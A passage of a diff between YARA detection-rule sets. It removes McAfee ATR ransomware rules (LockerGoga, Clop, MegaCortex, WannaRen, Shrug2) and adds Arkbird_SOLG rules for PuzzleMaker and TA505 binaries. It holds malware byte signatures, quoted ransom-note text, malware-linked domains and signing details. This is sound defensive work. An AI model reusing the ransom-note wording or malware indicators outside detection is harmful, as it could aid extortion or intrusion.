ff 89 85 98 f4 ff ff c6 85 f4 f8 ff ff 00 c6 85 f5 f8 ff ff 46 c6 85 f6 f8 ff ff 02 c6 85 f7 f8 ff ff 2e c6 85 f8 f8 ff ff 02 c6 85 f9 f8 ff ff 3c c6 85 fa f8 ff ff 02 c6 85 fb f8 ff ff 3c c6 85 fc f8 ff ff 02 c6 85 fd f8 ff ff 43 c6 85 fe f8 ff ff 02 c6 85 }
+		$s2 = { c7 85 b8 f7 ff ff 00 00 00 00 8d 8d 60 f7 ff ff c6 85 60 f7 ff ff 00 c6 85 61 f7 ff ff 36 c6 85 62 f7 ff ff 7a c6 85 63 f7 ff ff 29 c6 85 64 f7 ff ff 7a c6 85 65 f7 ff ff 29 c6 85 66 f7 ff ff 7a c6 85 67 f7 ff ff 69 c6 85 68 f7 ff ff 7a c6 85 69 f7 ff ff 37 c6 85 6a f7 ff ff 7a c6 85 6b f7 ff ff 74 c6 85 6c f7 ff ff 7a c6 85 6d f7 ff ff 0f c6 85 6e f7 ff ff 7a c6 85 6f f7 ff ff 75 c6 85 70 f7 ff ff 7a c6 85 71 f7 ff ff 1d c6 85 72 f7 ff ff 7a c6 85 73 f7 ff ff 00 c6 85 74 f7 ff ff 7a c6 85 75 f7 ff ff 7a c6 85 76 f7 ff ff 7a 8a 85 61 f7 ff ff e8 e7 bb 00 00 6a 07 68 8f cf af 70 ba 19 00 00 00 8b f0 e8 04 db ff ff 83 c4 08 56 ff d0 8b 8d b4 f7 ff ff 8d b5 b8 f7 ff ff 56 ff b5 a8 f7 ff ff 8b 11 6a 00 6a 00 6a 00 6a 00 6a 00 50 51 ff 52 0c 8b f0 c7 85 8c f7 ff ff d6 00 6a 00 8b 85 8c f7 ff ff 99 f7 fb 85 d2 74 50 8b 8d 8c f7 ff ff 8b 85 b8 f7 ff ff 83 c0 02 03 c1 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 05 48 83 c8 fc 40 0f 85 50 01 00 00 66 90 ff 85 8c f7 ff }
+		$s3 = { 75 f5 88 8d 50 f6 ff ff c6 85 51 f6 ff ff 48 c6 85 52 f6 ff ff 20 c6 85 53 f6 ff ff 5e c6 85 54 f6 ff ff 20 c6 85 55 f6 ff ff 7d c6 85 56 f6 ff ff 20 c6 85 57 f6 ff ff 39 c6 85 58 f6 ff ff 20 c6 85 59 f6 ff ff 33 c6 85 5a f6 ff ff 20 c6 85 5b f6 ff ff 2a c6 85 5c f6 ff ff 20 c6 85 5d f6 ff ff 33 c6 85 5e f6 ff ff 20 c6 85 5f f6 ff ff 4d c6 85 60 f6 ff ff 20 c6 85 61 f6 ff ff 6e c6 85 62 f6 ff ff 20 c6 85 63 f6 ff ff 48 c6 85 64 f6 ff ff 20 c6 85 65 f6 ff ff 4d c6 85 66 f6 ff ff 20 c6 85 67 f6 ff ff 1b c6 85 68 f6 ff ff 20 c6 85 69 f6 ff ff 3a c6 85 6a f6 ff ff 20 c6 85 6b f6 ff ff 52 c6 85 6c f6 ff ff 20 c6 85 6d f6 ff ff 47 c6 85 6e f6 ff ff 20 c6 85 6f f6 ff ff 09 c6 85 70 f6 ff ff 20 c6 85 71 f6 ff ff 14 c6 85 72 f6 ff ff 20 c6 85 73 f6 ff ff 7d c6 85 74 f6 ff ff 20 c6 85 75 f6 ff ff 49 c6 85 76 f6 ff ff 20 c6 85 77 f6 ff ff 74 c6 85 78 f6 ff ff 20 c6 85 79 f6 ff ff 1f c6 85 7a f6 ff ff 20 c6 85 7b f6 ff ff 52 c6 85 7c f6 ff ff 20 c6 85 7d f6 ff ff 71 c6 85 7e f6 ff ff 20 c6 85 7f f6 ff ff 5f c6 85 80 f6 ff ff 20 c6 85 81 f6 ff ff 1f c6 85 82 f6 ff ff 20 c6 85 83 f6 ff ff 54 c6 85 84 f6 ff ff 20 c6 85 85 f6 ff ff 33 c6 85 86 f6 ff ff 20 c6 85 87 f6 ff ff 5e c6 85 88 f6 ff ff 20 c6 85 89 f6 ff ff 44 c6 85 8a f6 ff ff 20 c6 85 8b f6 ff ff 0f c6 85 8c f6 ff ff 20 c6 85 8d f6 ff ff 52 c6 85 8e f6 ff ff 20 c6 85 8f f6 ff ff 74 c6 85 90 f6 ff ff 20 c6 85 91 f6 ff ff 13 c6 85 92 f6 ff ff 20 c6 85 93 f6 ff ff 33 c6 85 94 f6 ff ff 20 c6 85 95 f6 ff ff 5e c6 85 96 f6 ff ff 20 c6 85 97 f6 ff ff 52 c6 85 98 f6 ff ff 20 c6 85 99 f6 ff ff 47 c6 85 9a f6 ff ff 20 c6 85 9b f6 ff ff 31 c6 85 9c f6 ff ff 20 c6 85 9d f6 ff ff 5b c6 85 9e f6 ff ff 20 c6 85 9f f6 ff ff 1b c6 85 a0 f6 ff ff 20 c6 85 a1 f6 ff ff 39 c6 85 a2 f6 ff ff 20 c6 85 a3 f6 ff ff 33 c6 85 a4 f6 ff ff 20 c6 85 a5 f6 ff ff 2a c6 85 a6 f6 ff ff 20 c6 85 a7 f6 ff ff 33 c6 85 a8 f6 ff ff 20 c6 85 a9 f6 ff ff 4d c6 85 aa f6 ff ff 20 c6 85 ab f6 ff ff 1f c6 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and $regex
+		uint16(0)==0x5A4D and filesize >100KB and all of ($s*)
 }
-rule TRELLIX_ARC_Lockergogaransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Puzzlemaker_Launcher_Jun_2021_1 : FILE
 {
 	meta:
-		description = "LockerGoga Ransomware"
-		author = "Christiaan Beek - McAfee ATR team"
-		id = "bdf5da34-adf0-5731-820f-96511e647a83"
-		date = "2019-03-20"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_LockerGoga.yar#L1-L36"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f"
-		logic_hash = "165fa0fa044b2e0d2344626c2064162f23e13dc17310a772b703dbbe9457bd99"
+		description = "Detect the launcher of the PuzzleMaker group"
+		author = "Arkbird_SOLG"
+		id = "ae31d9de-8e6c-5c1b-bc45-bc4e50cea00f"
+		date = "2021-06-10"
+		modified = "2021-11-01"
+		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Launcher_Jun_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "5c717ca5c57a86e1b5db45b3d581a45be248d45820c00c40c57a001ac07ce1b2"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/LockerGoga"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "982f7c4700c75b81833d5d59ad29147c392b20c760fe36b200b541a0f841c8a9"
+		tlp = "White"
+		adversary = "PuzzleMaker"
 
 	strings:
-		$1 = "boost::interprocess::spin_recursive_mutex recursive lock overflow" fullword ascii
-		$2 = ".?AU?$error_info_injector@Usync_queue_is_closed@concurrent@boost@@@exception_detail@boost@@" fullword ascii
-		$3 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$00VDec@RC6@CryptoPP@@@CryptoPP@@VCBC_Decryption@2@@CryptoPP@@" fullword ascii
-		$4 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii
-		$5 = "cipher.exe" fullword ascii
-		$6 = ".?AU?$placement_destroy@Utrace_queue@@@ipcdetail@interprocess@boost@@" fullword ascii
-		$7 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii
-		$8 = "CreateProcess failed" fullword ascii
-		$9 = "boost::dll::shared_library::load() failed" fullword ascii
-		$op1 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff }
-		$op2 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff }
+		$s1 = { 4c 89 6d bf 48 8d 45 bf 48 89 44 24 20 4c 8d 0d f9 45 01 00 33 d2 44 8d 42 01 48 8d 0d dc 45 01 00 ff 15 56 44 01 00 8b d8 85 c0 78 c6 4c 89 6d c7 48 8b 45 bf 48 8b 08 4c 8b 79 18 b9 18 00 00 00 e8 9b 04 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 32 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8d 0d 15 fb 01 00 ff 15 cf 43 01 00 48 89 03 48 85 }
+		$s2 = { 44 89 6c 24 38 4c 89 6c 24 30 c7 44 24 28 03 00 00 00 c7 44 24 20 03 00 00 00 45 33 c9 45 33 c0 41 8d 51 0a 48 8b 4d c7 ff 15 f6 42 01 00 85 c0 0f 88 bb 01 00 00 48 8d 0d 1d fa 01 00 ff 15 c1 42 01 00 4c 8b f8 48 8d 0d 1b fa 01 00 ff 15 b1 42 01 00 4c 8b e0 4c 89 6d df 48 8b 4d c7 48 8b 11 4c 8b 52 30 4c 89 6c 24 28 48 8d 45 df 48 89 44 24 20 45 33 c9 45 33 c0 49 8b d4 41 ff d2 4c 89 6d e7 48 8b 4d df 48 8b 01 4c 89 6c 24 20 4c 8d 4d e7 45 33 c0 49 8b d7 ff 90 98 00 00 00 4c 89 6d cf 48 8b 4d e7 48 8b 01 4c 8d 45 cf 33 d2 ff 50 78 b8 08 00 00 00 66 89 45 ef 8d 48 10 e8 dc 02 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 33 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8b ce ff 15 14 42 01 00 48 89 03 48 85 c0 75 0e 48 85 }
+		$s3 = { 4c 8d 05 75 0e 02 00 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 d0 42 0f b6 0c 12 66 41 31 08 74 12 ff c0 49 83 c0 02 83 f8 20 72 e7 0f 1f 80 00 00 00 00 0f b7 05 49 09 02 00 48 8d 0d 76 09 02 00 66 d1 e8 66 83 e0 7f 66 0f 6f 15 f3 d4 01 00 66 89 05 2c 09 02 00 0f b7 05 27 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 19 09 02 00 0f b7 05 14 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 06 09 02 00 0f b7 05 01 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f3 08 02 00 0f b7 05 ee 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e0 08 02 00 0f b7 05 db 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 cd 08 02 00 0f b7 05 c8 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 ba 08 02 00 0f b7 05 b5 08 02 00 66 d1 e8 66 83 e0 7f f3 0f 6f 05 bc 08 02 00 66 89 05 9f 08 02 00 0f b7 05 9a 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 8c 08 02 00 0f b7 05 87 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 79 08 02 00 0f b7 05 74 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 66 08 02 00 0f b7 05 61 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 53 08 02 00 0f b7 05 4e 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 40 08 02 00 0f b7 05 3b 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 2d 08 02 00 0f b7 05 28 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 1a 08 02 00 0f b7 05 15 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 07 08 02 00 0f b7 05 02 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f4 07 02 00 0f b7 05 ef 07 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e1 07 02 00 b8 01 00 00 00 66 0f 6e c8 8d 50 05 66 0f d1 c1 66 0f db c2 f3 0f 7f 05 c7 07 02 00 0f }
+		$s4 = { 48 89 9c 24 60 06 00 00 48 89 b4 24 68 06 00 00 48 89 bc 24 70 06 00 00 4c 89 b4 24 30 06 00 00 c7 05 2e 1a 02 00 04 00 00 00 48 c7 05 27 1a 02 00 01 00 00 00 4c 89 2d 2c 1a 02 00 ff 15 22 48 01 00 48 8d 35 8b 04 02 00 66 66 66 0f 1f 84 00 00 00 00 00 33 d2 44 89 6c 24 70 41 b8 08 03 00 00 48 8d 8d 10 02 00 00 45 8b f5 e8 e4 28 00 00 4c 8d 0d 5d 03 02 00 48 89 74 24 20 ba 84 01 00 00 48 8d 8d 10 02 00 00 49 c7 c0 ff ff ff ff e8 a0 fb ff ff 48 8d 54 24 70 48 8d 8d 10 02 00 00 e8 9f 05 00 00 8b d0 85 }
+		$s5 = { 4c 89 6c 24 60 4c 8d 05 25 cc 01 00 4c 89 6c 24 58 48 8d 15 e1 04 02 00 4c 89 6c 24 50 41 b9 ff 01 0f 00 4c 89 6c 24 48 48 8b cf 4c 89 6c 24 40 48 89 74 24 38 44 89 6c 24 30 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 ff 15 19 46 01 00 48 8b d8 ff 15 a8 46 01 00 8b f0 48 85 db 74 22 48 8b cb ff 15 20 46 01 00 48 8b cb ff 15 ff 45 01 00 48 8b cf ff 15 f6 45 01 00 bf 01 00 00 }
+		$s6 = { 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 f4 46 01 00 48 8b f8 48 85 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (6 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Clop_Ransom_Note : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Puzzlemaker_Implant_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Clop Ransomware Note"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b18e4d4d-aa38-5009-a31b-ed038c5bd4f9"
-		date = "2019-08-01"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_ClopRansomNote.yar#L1-L34"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "a90862e9dc59b1a8f38b777b4f529d5de740d0f49175813cae64f10ca9677826"
+		description = "Detect the implant of the PuzzleMaker group"
+		author = "Arkbird_SOLG"
+		id = "9387130c-4474-55bf-9736-09494a5e81b8"
+		date = "2021-06-10"
+		modified = "2021-11-01"
+		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Implant_Jun_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "e54eaaa76b2d370a27a232dee2299266f8b3b82d53da36e35c2a6fcdd7d5b1f7"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Clop"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "8a17279ba26c8fbe6966ea3300fdefb1adae1b3ed68f76a7fc81413bd8c1a5f6"
+		hash2 = "1ee9bb4e8bcabe197399b654dbf940438b120af1c376719ff9bdccf2bb1dc606"
+		hash3 = "f2ce2a00de8673f52d37911f3e0752b8dfab751b2a17e719a565b4083455528e"
+		tlp = "White"
+		adversary = "PuzzleMaker"
 
 	strings:
-		$s1 = "If you want to restore your files write to emails" fullword ascii
-		$s2 = "All files on each host in the network have been encrypted with a strong algorithm." fullword ascii
-		$s3 = "Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover." fullword ascii
-		$s4 = "You will receive decrypted samples and our conditions how to get the decoder." fullword ascii
-		$s5 = "DO NOT RENAME OR MOVE the encrypted and readme files." fullword ascii
-		$s6 = "(Less than 6 Mb each, non-archived and your files should not contain valuable information" fullword ascii
-		$s7 = "We exclusively have decryption software for your situation" fullword ascii
-		$s8 = "Do not rename encrypted files." fullword ascii
-		$s9 = "DO NOT DELETE readme files." fullword ascii
-		$s10 = "Nothing personal just business" fullword ascii
-		$s11 = "eqaltech.su" fullword ascii
+		$s1 = { 4c 8d 4c 24 5c 49 8b ce 48 8d 95 c0 00 00 00 ff 15 21 01 04 00 85 c0 74 28 4c 8d 4c 24 58 4c 89 64 24 20 41 b8 00 04 00 00 48 8d 95 c0 04 00 00 49 8b cf ff 15 b5 fe 03 00 85 c0 0f 85 25 ff ff ff ff 15 77 fe 03 00 8b }
+		$s2 = { 40 55 53 56 41 55 41 57 48 8d ac 24 a0 fe ff ff 48 81 ec 60 02 00 00 48 8b 05 5a 1c 03 00 48 33 c4 48 89 85 30 01 00 00 48 8b 85 b0 01 00 00 4c 8b f9 48 8b b1 b8 00 00 00 4c 8b ad c8 01 00 00 48 83 c6 07 48 89 44 24 60 48 8b 85 d0 01 00 00 48 89 45 98 8b 85 c0 01 00 00 83 c0 fd 48 c1 ee 03 4c 89 4d 80 4c 89 45 88 48 89 55 90 83 f8 06 0f 87 84 03 00 00 48 8d 15 f3 6b fd ff 48 98 8b 8c 82 b0 97 02 00 48 }
+		$s3 = { 48 8d 1d 98 3d 02 00 0f 57 c0 48 89 bc 24 58 02 00 00 33 c0 c7 44 24 68 01 00 00 00 0f 11 85 80 00 00 00 4c 8b c6 c7 85 8c 00 00 00 10 27 00 00 48 8d 95 a0 00 00 00 48 89 44 24 70 49 8b c9 48 89 44 24 78 0f 11 45 20 0f 11 45 30 0f 11 45 40 0f 11 45 50 0f 11 45 60 0f 11 45 70 0f 11 85 90 00 00 00 e8 57 58 fe ff 8b f8 85 c0 0f 85 62 02 00 00 49 8b 87 b8 00 00 00 48 8d 4c 24 68 48 8b 54 24 60 48 83 c0 07 48 c1 e8 03 4c 89 a4 24 50 02 00 00 4c 8b a5 b8 01 00 00 4c 3b e0 4c 89 b4 24 48 02 00 00 4d 8b f4 4c 0f 47 f0 4d 8b c6 e8 1b 57 fe ff 8b f8 85 c0 75 54 49 8b 87 b8 00 00 00 4a 8d 14 f5 00 00 00 00 48 }
+		$s4 = { 85 ff 0f 85 cd 01 00 00 48 8b 4d 90 48 8d 45 a0 48 89 44 24 50 45 33 c9 48 8d 45 d0 4d 8b c7 48 89 44 24 48 33 d2 4c 89 64 24 40 4c 89 64 24 38 c7 44 24 30 00 00 00 08 c7 44 24 28 01 00 00 00 4c 89 64 24 20 ff 15 62 1c 04 00 85 c0 75 3a ff 15 38 1d 04 00 44 8b c3 48 8b ce 8b d0 8b f8 e8 d1 09 00 00 48 8b 4d 80 ff 15 07 1d 04 00 48 8b 4d 88 ff 15 fd 1c 04 00 48 8b 4d 90 ff 15 f3 1c 04 00 }
+		$s5 = { 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 28 02 00 00 48 8b 05 5d 0a 04 00 48 33 c4 48 89 84 24 10 02 00 00 48 8b ac 24 90 02 00 00 0f 57 c0 4c 8b ac 24 98 02 00 00 33 db 45 32 e4 4c 89 4c 24 58 4c 89 44 24 70 49 8b f9 48 89 6c 24 68 4d 8b c8 4c 89 6c 24 60 4c 8b fa 48 8b f1 44 8b f3 0f 11 84 24 e0 00 00 00 c7 84 24 ec 00 00 00 10 27 00 00 0f 11 84 24 80 00 00 00 0f 11 84 24 90 00 00 00 0f 11 84 24 a0 00 00 00 0f 11 84 24 b0 00 00 00 0f 11 84 24 c0 00 00 00 0f 11 84 24 d0 00 00 00 0f 11 84 24 f0 00 00 00 48 85 ed 75 47 4c 8b 81 b8 00 00 00 48 8d 05 a1 c2 ff ff 48 89 44 24 68 48 8d 8c 24 80 00 00 00 49 83 c0 07 48 8d 84 24 80 00 00 00 49 c1 e8 03 49 8b d1 48 89 44 24 60 e8 87 c2 ff ff 8b f8 85 c0 0f 85 ee 01 00 00 48 8b 7c 24 58 48 8d 56 68 48 8d 4f 18 e8 7b 4a ff ff 85 c0 75 15 48 8d 56 50 48 8b cf e8 6b 4a ff ff 85 c0 75 05 40 b5 }
+		$s6 = { 41 b9 01 00 00 00 c7 44 24 20 00 00 00 f0 45 33 c0 48 8d 4c 24 60 33 d2 ff 15 11 06 04 00 85 c0 74 28 48 8b 4c 24 60 4c 8d 85 b0 00 00 00 ba 20 00 00 00 ff 15 ee 05 04 00 48 8b 4c 24 60 33 d2 85 }
 
 	condition:
-		( uint16(0)==0x6f59) and filesize <10KB and all of them
+		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
 }
 import "pe"
 
-rule TRELLIX_ARC_Megacortex_Signed : RANSOMWARE FILE
-{
-	meta:
-		description = "Rule to detect MegaCortex samples digitally signed"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "78a74e30-4de0-5e63-8ca5-31251c296f98"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://blog.malwarebytes.com/detections/ransom-megacortex/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_MegaCortex.yar#L3-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "8ffced3aca837682fbd7ee68f559f73b8299cbfbe198f48124c4857680735249"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/MegaCortex"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-
-	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/C=GB/L=ROMFORD/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures[i].serial=="04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b" or pe.signatures[i].subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures[i].serial=="53:cc:4c:69:e5:6a:7d:bc:36:67:d5:ff:d5:24:aa:4b" or pe.signatures[i].subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" or pe.signatures[i].serial=="00:ad:72:9a:65:f1:78:47:ac:b8:f8:49:6a:76:80:ff:1e")
-}
-rule TRELLIX_ARC_Wannaren_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_TA505_Bin_21Nov_1 : FILE
 {
 	meta:
-		description = "Rule to detect WannaRen Ransomware"
-		author = "McAfee ATR Team"
-		id = "f4f30d12-547d-5044-a4e5-b88bf359480f"
-		date = "2020-04-25"
-		modified = "2020-10-12"
-		reference = "https://blog.360totalsecurity.com/en/attention-you-may-have-become-a-susceptible-group-of-wannaren-ransomware/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_wannaren.yar#L1-L34"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "7b364f1c854e6891c8d09766bcc9a49420e0b5b4084d74aa331ae94e2cfb7e1d"
-		logic_hash = "0feb913b84eb0ecdda688f0cf0a5051798fe4fbce8a6ea959825985a81a6699c"
+		description = "module1.bin"
+		author = "Arkbird_SOLG"
+		id = "2f23653e-5158-5a64-86ee-a58048780661"
+		date = "2019-11-21"
+		modified = "2019-11-21"
+		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L3-L30"
+		license_url = "N/A"
+		logic_hash = "133f202300a9e0428d20ce76bc832cf45cb5dacb05e39c21130d8d5cc39446ba"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/WannaRen"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "bfe610790d41091c37ae627472f5f8886357e713945ca8a5e2b56cd6c791f989"
 
 	strings:
-		$sq0 = { 92 93 a91c2ea521 59 334826 }
-		$sq1 = { d0ce 6641 c1e9c0 41 80f652 49 c1f94d }
-		$sq2 = { 80f8b5 4d 63c9 f9 4d 03d9 41 }
-		$sq3 = { 34b7 d2ea 660fbafa56 0f99c2 32d8 660fbafaed 99 }
-		$sq4 = { f9 f7c70012355f 35c01f5226 f9 8d8056c800b0 f6c4b2 f9 }
-		$sq5 = { f5 f9 44 3aeb 45 33cd 41 }
-		$sq6 = { 890f c0ff12 44 b4a3 ee 2b4e70 7361 }
-		$sq7 = { 81c502000000 6689542500 6681d97a1e 660fabe1 660fbae1a5 8b0f 8dbf04000000 }
-		$sq8 = { 8d13 de11 d7 677846 f1 0d8cd45f87 bb34b98f33 }
-		$sq9 = { 1440 4b 41 e8???????? 397c0847 }
+		$s1 = "intc.dll" fullword ascii
+		$s2 = "?%?2?7?=?" fullword ascii
+		$s3 = "Is c++ not java" fullword ascii
+		$s4 = "4%5K5e5l5p5t5x5|5" fullword ascii
+		$s5 = "KdaMt$" fullword ascii
+		$s6 = ";*;9;Z;`;" fullword ascii
+		$s7 = "<*<4<?<I<S<Y<" fullword ascii
+		$s8 = "0'040A0K0U0]0k0" fullword ascii
+		$s9 = "3 3(30363>3M3_3" fullword ascii
+		$s10 = ": :9:A:F:R:W:t:z:" fullword ascii
+		$s11 = "5'5,585@5H5P5f5n5v5~5" fullword ascii
+		$s12 = "<,<2<:<@<h<n<" fullword ascii
+		$s13 = "8+808:8T8b8j8p8" fullword ascii
+		$s14 = "8!9<9K9g9o9z9" fullword ascii
+		$s15 = ">(>6>D>N>U>f>p>" fullword ascii
+		$s16 = ":!:,:>:J:X:^:c:i:v:" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <21000KB and 7 of them
+		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="642f4619fb2d93cb205c65c2546516ca" and pe.exports("intc") or 8 of them )
 }
-rule TRELLIX_ARC_Shrug2_Ransomware : RANSOMWARE FILE
+import "pe"
+
+rule ARKBIRD_SOLG_TA505_Bin_21Nov_2 : FILE
 {
 	meta:
-		description = "Rule to detect the Shrug Ransomware"
-		author = "McAfee ATR Team"
-		id = "34e59296-db7c-551b-8d48-ffea20f2b4bb"
-		date = "2018-07-12"
-		modified = "2020-10-12"
-		reference = "https://blogs.quickheal.com/new-net-ransomware-shrug2/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_shrug2.yar#L1-L30"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c89833833885bafdcfa1c6ee84d7dbcf2389b85d7282a6d5747da22138bd5c59"
-		logic_hash = "8c817b7fc4a0eada08b3d298c94b99a85c4e5a49a49d1c3fabdb0c6bbf56676b"
+		description = "vspub1.bin"
+		author = "Arkbird_SOLG"
+		id = "2bbd1d3a-50ab-5c6a-97fe-60b5a86e8d18"
+		date = "2019-11-21"
+		modified = "2019-11-21"
+		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L32-L50"
+		license_url = "N/A"
+		logic_hash = "43fb83abdeb1a31da836b4cf99dcda269f6d005cbb8eb2d845498d2c589574e1"
 		score = 75
-		quality = 20
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Shrug"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "54cc27076793d5de064813c61d52452d42f774d24b3859a63002d842914fd9cd"
 
 	strings:
-		$s1 = "C:\\Users\\Gamer\\Desktop\\Shrug2\\ShrugTwo\\ShrugTwo\\obj\\Debug\\ShrugTwo.pdb" fullword ascii
-		$s2 = "http://tempacc11vl.000webhostapp.com/" fullword wide
-		$s3 = "Shortcut for @ShrugDecryptor@.exe" fullword wide
-		$s4 = "C:\\Users\\" fullword wide
-		$s5 = "http://clients3.google.com/generate_204" fullword wide
-		$s6 = "\\Desktop\\@ShrugDecryptor@.lnk" fullword wide
+		$s1 = "glColor.dll" fullword ascii
+		$s2 = "{sysdir}\\nvu*.exe" fullword ascii
+		$s3 = "KLSUIrhekheirguhemure" fullword ascii
+		$s4 = "tEo>qM" fullword ascii
+		$s5 = "?\"?0?8?>?I?V?^?l?q?v?{?" fullword ascii
